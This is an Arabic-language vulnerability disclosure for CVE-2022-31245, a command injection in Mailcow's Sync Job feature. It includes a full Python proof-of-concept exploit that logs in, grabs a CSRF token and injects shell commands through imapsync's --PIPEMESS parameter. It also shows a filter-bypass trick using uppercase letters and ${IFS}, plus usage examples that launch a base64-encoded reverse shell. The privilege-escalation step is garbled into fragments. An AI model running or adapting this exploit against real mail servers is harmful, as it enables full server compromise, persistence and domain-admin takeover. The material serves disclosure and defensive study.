
CVE-2022-31245: RCE ورفع امتيازات مسؤول المجال لـ Mailcow
CVE-2022-31245: تنفيذ الأوامر عن بُعد (RCE) وتصعيد صلاحيات مسؤول النطاق (Domain Admin) في Mailcow. يشمل إثبات المفهوم (POC).
تم الإبلاغ عنه وإصلاحه: مايو 2022
الإصدار المُصحح: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31245
الخطورة: 3/3
النوع: حقن أوامر، تنفيذ أوامر عن بُعد، استيلاء على النطاق (Domain Takeover)
الإصدارات المتأثرة: على الأقل 2019 - 2022-05c
توجد ثغرة في جميع إصدارات Mailcow الحديثة حيث يمكن لمستخدم عادي في النظام استغلال ميزة "Sync Job" للحصول على شل (shell) عبر حقن أوامر في imapsync. باستخدام هذه الثغرة، يمكن للمهاجم بعد ذلك الانتقال بسهولة إلى قاعدة البيانات وتصعيد الصلاحيات إلى دور "Domain Admin" في Mailcow.
يتضمن هذا الاستغلال الثبات (persistence) افتراضيًا نظرًا لأن Sync Jobs تعمل عبر مؤقت زمني.
يؤدي هذا الاستغلال إلى اختراق مثيل Mailcow بالكامل. تم اختباره ويعمل على الإصدار الصادر في 2022-05c. تم إصلاحه في 2022-05d.
باستخدام الخطوات أدناه يمكن إعادة إنشاء الثغرة.
الحصول على شل (shell):
hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --PIPEMESS=CMD
حيث أن الحقل "Custom Parameters" هو الحقل المهم. يمكن أن تكون CMD أمر شل عشوائيًا بدون مسافات. استخدام الأحرف الكبيرة (uppercase) مهم!مثال على حمولة (payload) في حقل Custom Parameters:
--debug --nosslcheck --PIPEMESS=touch${IFS}test.txt
لا يمكن أن تحتوي CMD على مسافات أو اقتباسات أو شرطات مائلة، استخدم ${IFS} بدلًا من المسافة. استخدام الأحرف الكبيرة في --PIPEMESS مهم لتجاوز الفحص في functions.mailbox.inc.php في السطر 340:
if (strpos($custom_params, 'pipemess')) {
$custom_params = '';
}
لا يزال هذا الأمر بالأحرف الكبيرة يعمل لأن imapsync غير حساس لحالة الأحرف.
تصعيد الصلاحيات:
envDBUSER وDBPASSmysql وبيانات الاعتمادPOC آلي. قد يحتاج POC في بعض الحالات إلى تعديل ليعمل ضد مثيلات Mailcow غير المحلية.
#!/bin/python3
description = """
Mailcow authenticated RCE. Only for educational purposes!!
By: ly1g3[at]tuta.io
This exploit can be used to get mailcow domain admin using mysql credentials found in "env" after getting shell.
Quotes, spaces and slash cant be used in cmd. Use ${IFS} as space. End command with ; is recommended.
Example reverse shell use: --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;' where PYTHON_REVERSE_SHELL_BASE64 is python reverse shell.
Example usage: ./mailcow_poc1.py --url https://192.168.1.2 --user [email protected] --passwd testpass --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;'
"""
import requests
import urllib
import sys
from urllib.parse import urlparse
import argparse
from argparse import RawTextHelpFormatter
from datetime import datetime
parser = argparse.ArgumentParser(description=description, formatter_class=RawTextHelpFormatter)
parser.add_argument('--url', help='Url to the mailcow server', required=True)
parser.add_argument('--user', help='Mailcow username, example [email protected]', required=True)
parser.add_argument('--passwd', help='Mailcow user password', required=True)
parser.add_argument('--cmd', help='Command to execute', required=True)
args = parser.parse_args()
base_url = args.url
# hostname = urlparse(base_url).netloc
hostname = '127.0.0.1'
user = args.user
password = args.passwd
cmd = args.cmd
# Get the required csrf token
def find_csrf_token(text):
try:
start1 = text.index("var csrf_token")
start2 = text.index("'", start1)
end2 = text.index("'", start2+1)
csrf_token = text[start2+1:end2]
return csrf_token
except:
return ""
login_url = base_url + '/'
s = requests.Session()
# Login
r1 = s.post(login_url, data={'login_user': user, 'pass_user': password}, verify=False)
token = find_csrf_token(r1.text)
if not token:
print("Error no token found, login problems?")
sys.exit(0)
print(f"CSRF token: {token}")
sync_url = base_url + '/api/v1/add/syncjob'
# Create sync job with command injection
attr = f'{{"host1":"{hostname}","port1":"143","user1":"{user}","password1":"{password}","enc1":"PLAIN","mins_interval":"1","subfolder2":"","maxage":"0","maxbytespersecond":"0","timeout1":"10","timeout2":"10","exclude":"(?i)spam|(?i)junk","custom_params":"--debug --nosslcheck --PIPEMESS={cmd}","subscribeall":"1","active":"1","csrf_token":"{token}"}}'
r2 = s.post(sync_url, data={'attr': attr, 'csrf_token': token}, verify=False)
c = r2.content
if c.find(b"mailbox_modified") != -1:
print("Success, rule modified")
elif c.find(b"object_exists") != -1:
print("ERROR: Object exists, remove existing rule before running this")
print(c)
sys.exit(0)
else:
print("ERROR: Something went wrong")
print(c)
now = datetime.now()
current_time = now.strftime("%H:%M:%S")
print("Command may take 1min to execute...")
print(f"Done at: {current_time}")